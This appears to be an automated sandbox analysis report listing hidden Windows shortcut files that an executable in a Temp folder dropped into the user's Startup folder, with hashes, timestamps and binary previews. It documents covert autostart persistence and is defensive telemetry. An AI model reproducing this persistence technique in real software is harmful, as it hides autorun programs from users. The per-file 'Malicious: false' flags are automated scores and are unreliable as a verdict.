File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919265127885295
Encrypted:	false
SSDEEP:	24:8UrBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	703DDA3133D13462B11C3631831DB3E1
SHA1:	621BA1B2BBE3F4813AE4CB52AB3339B87F8837B6
SHA-256:	8AE95C7CD04DC02608EBAA88BEA595F31ED4DCEAC2564921FEE486420A75D8FA
SHA-512:	F68EA0CEB6DD9DA7FF9CC4F3AC5F66AEEB050ABE79F43384A23A56A842492C8DE2ED4D6C67D43A8485D74292B29EE4DDA66A962007DA61024BF7DB05766BFBE1
Malicious:	false
Preview:	L..................F....".......d.....%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4abadb793a24bbf8b9c4317aea56901.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922287326696178
Encrypted:	false
SSDEEP:	24:8ZBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B238320077C9D10C8312ADB995609D68
SHA1:	56A2B196F5A161A064A82403DF55F157A153057B
SHA-256:	34C352652273933951245BDA88E8C94B9A8F06D0B888F8D11ECC92F2BCBD168B
SHA-512:	3810E864FED7EA0D5AD94164F42D0D5FAAAA6A0499FD0D4AFB56E94BD82E81E49181865BFDB76D6D491D33A4F196262F387758BCDE77F430356AFE3009A0ED5A
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4ade3b0c3da42618c0d49ba137e6d8d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012551
Encrypted:	false
SSDEEP:	24:8yrBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ydp9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DC1CDF5AB2DCD7EBD4E568CA92869C32
SHA1:	01577D4D4FD4390A38C8ACB7FAC9261DB886571F
SHA-256:	9D49C864E37184D1C23ED57A9EF045C59AB163C93FB33D5A803D535535664813
SHA-512:	CDFA484840FA38B1CFC2347F794DE0C495CBF0E4778E2950BEC2F23F24D0162A16090C4D45A0E42272E0B82CA2B684774960A70CE34197A4DDC4458F2106E763
Malicious:	false
Preview:	L..................F....".......d...,+.(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4b3b0f7820c4af189004b7b5781f896.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921259995049548
Encrypted:	false
SSDEEP:	24:8xrBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xdfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	178C5B5A63AE4F269A8293376F29F9D1
SHA1:	AFC661A9A578086960B059BE32CDFB048291328D
SHA-256:	F46EA915B24A42364164D4AF4EAB2922A24EE7B737C77ED0965DB1B61C07E0A6
SHA-512:	B2226EEDED8F58BD8C34CB72862CC33BEAB4DAA50CF261CA124F7B81F2FA2091528E315C0CB6FF63A19A3806DE8D47D388CF8EE1DC0113F3D0E80026E9DFC817
Malicious:	false
Preview:	L..................F....".......d....&.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4b9f77d33834f3aafdf8ba5f09babc6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931850985702587
Encrypted:	false
SSDEEP:	24:8HBfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8h/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	08CB2FD4D5A5A3DEEAADDB578EAEC67A
SHA1:	92B2F5A8918B942F865E62035955FE280363282E
SHA-256:	3AD5513F81A0486329764FE7C13B7C8F36F0A26588703887D6D75D48EC6DDB85
SHA-512:	D99F0085E2F1F5D2D8EE562DFCDF6C1AB078F83B74EF321C88DB753DFC0EAECC6E5F54CBACC8BC375ABD218330376EB24818686A39B03A2C7298007AE857CF35
Malicious:	false
Preview:	L..................F....".......d.....%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5071a10c08a4b8ca933aea9366f6c53.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918603699349
Encrypted:	false
SSDEEP:	24:8tBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ffEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DFD23E6AB8198E9F7B241138BABE6B17
SHA1:	6EA0C5D2F03DEA34EF41079088610D1A13E39145
SHA-256:	73E627B48983A16665F4A61BC122C4CD142DC2648C396BA3B904211152F31B86
SHA-512:	CA8B5A41C183AFA7E1509A6B903313ACA6858000E929ADA45E298CE5A85A82DCB687235702F92EFC77CF7DF3D8D46CB77D163F15B9059979E2F278362A04A76C
Malicious:	false
Preview:	L..................F....".......d...\..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d56cdf3ebaf84c568bbdfa08d0c6af47.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92358979817365
Encrypted:	false
SSDEEP:	24:844QBfe8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:844erEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EC0B7A0C92C0820A89E627CA064912DF
SHA1:	568E92D9FE916B30C8DD74138FBE92121C3D637A
SHA-256:	09AA7FC73820F54098477F221CE2E140F1C1C85028A374A73F1062EEB41BDD08
SHA-512:	691DABC4F65EC3F637446D8C31D323088B9B99D9EF7A48576D5E58B99566AA9ED203DD0B5067D9EC6DC8BC44E159C4E5FAE4AFFD3DD91ABEF54344A21C65693F
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....2.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d56f39a00fba487b853a6384ba548f6e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:12 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92033131386458
Encrypted:	false
SSDEEP:	24:8gTBf+p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IGOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	29340B5F970922A15C04AE306A3DE41D
SHA1:	A87F8CB76C9C46EB900D68EB1FB3D442291AAE49
SHA-256:	C6A7D2549C05A74AC96C83809D1C9A05497F193B3262B92FA35BE035592F121D
SHA-512:	1EFCB3294E983620DC7C2BC9F6D8C52CFFBE2BA09E62DF4CFF05D829A97A82A61889CEEF00A4157367E6787A1EF2CFF6791649C9658100176A3EE5B751CE246C
Malicious:	false
Preview:	L..................F....".......d...>.$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....F.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5e849c7e90d4d4bb762678af2f09dd1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927661657506848
Encrypted:	false
SSDEEP:	24:8jBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lvEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4860619010C916B76881DF16161345CE
SHA1:	FC217ADCDDD31AA2F84B756E1BD3814DD41B8E0B
SHA-256:	7A11A6C0DEEC80146E26485D9201C201519C7B21DB5ED847E51C6F28745D0C7E
SHA-512:	F28F2D34EF58581270F7AFB717F99D302AACFE1E3C250AE34A19C59591D8ABEC5C427EC27F7348C6F3DAAF37E81A707A0DFD447340C4821F3ABD88968E6BB155
Malicious:	false
Preview:	L..................F....".......d....R(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d62ed2d4448344e3bbda3badf1061be8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543589
Encrypted:	false
SSDEEP:	24:8gBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9997C660DB41055051F8035503C22BAA
SHA1:	C75CCEE6AA70A0F7146E36D78B7F245BED9869BA
SHA-256:	D8B736EBBBD627207F86E48FFF27F1744953309CC1962AF282CE384DF5258FA8
SHA-512:	1DC00EC377F810BF0B8CAEC802822BF64FE248A64CDD23BD23F9FB2C232A7A5DAAE5EA918FCAF2124DDD4E2B24D4543B3EFCCFBE961440FBA11F60D2D31386D7
Malicious:	false
Preview:	L..................F....".......d.....(.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d64808adce754949a5503cb813f04742.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921348412446175
Encrypted:	false
SSDEEP:	24:81BfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83UEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B6C1BD4A1BEEF3086D3489D119FEDAF5
SHA1:	84898D34E29BCA457FCF5E13FC805D52977ADFF3
SHA-256:	F3DCFB486181EF58AF1A8E8E61AAE82431F7C8EFA8DB025DFCC294DF6734F92E
SHA-512:	EB39AE923DF73EDC6EB5C56221AF8D253466FB937F2B9AF9255CFB1DC20818966C86A6CD44BACBCE51F253108A60DD3AA3C2397B172FAD45CA1A4EDBFDCBE82E
Malicious:	false
Preview:	L..................F....".......d...._.=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6599472534f46f486e9f7f7e6f980ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924119555201881
Encrypted:	false
SSDEEP:	24:8mBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ED4E0CD61055315B1BF5DD629C34675A
SHA1:	4B32064FA97A3EBAD2B0F842262BFC86D0CBA58D
SHA-256:	3D114C0A24139E906B3FFF86A312334CAC166237AB6F4E2F385525DD4680F6F7
SHA-512:	BE92801B7EBEEA1F5A73F31CA25C0C76DE466E031339FB8F24D4DF780E5C31A394684EE5A01A4AA9BB04191BCACF1CEF156E7DDDC7074A6E10113D4E73C865C2
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d67349736ec14b3e92f074e61e3680f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930502914230813
Encrypted:	false
SSDEEP:	24:8tBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	531DDC25017BCE9D28764CC34EB6588E
SHA1:	B7904BCEDAA38AC6220969C4D9BBDC63D758FE6B
SHA-256:	2C9773CBBC95F2B9123116787E9ADE1179B50364414378E9381A61C53B657EFD
SHA-512:	F48495BF84E9BB6535D7B83A65381C0D4118AA2786A5C30304AC20BF6C488C5299788ED0F755C7510E45CAB14A5EDC740017F710B6E015E026BA2618B082A9E6
Malicious:	false
Preview:	L..................F....".......d...5R.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d704bce04c8c478591fe48d430c6b986.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
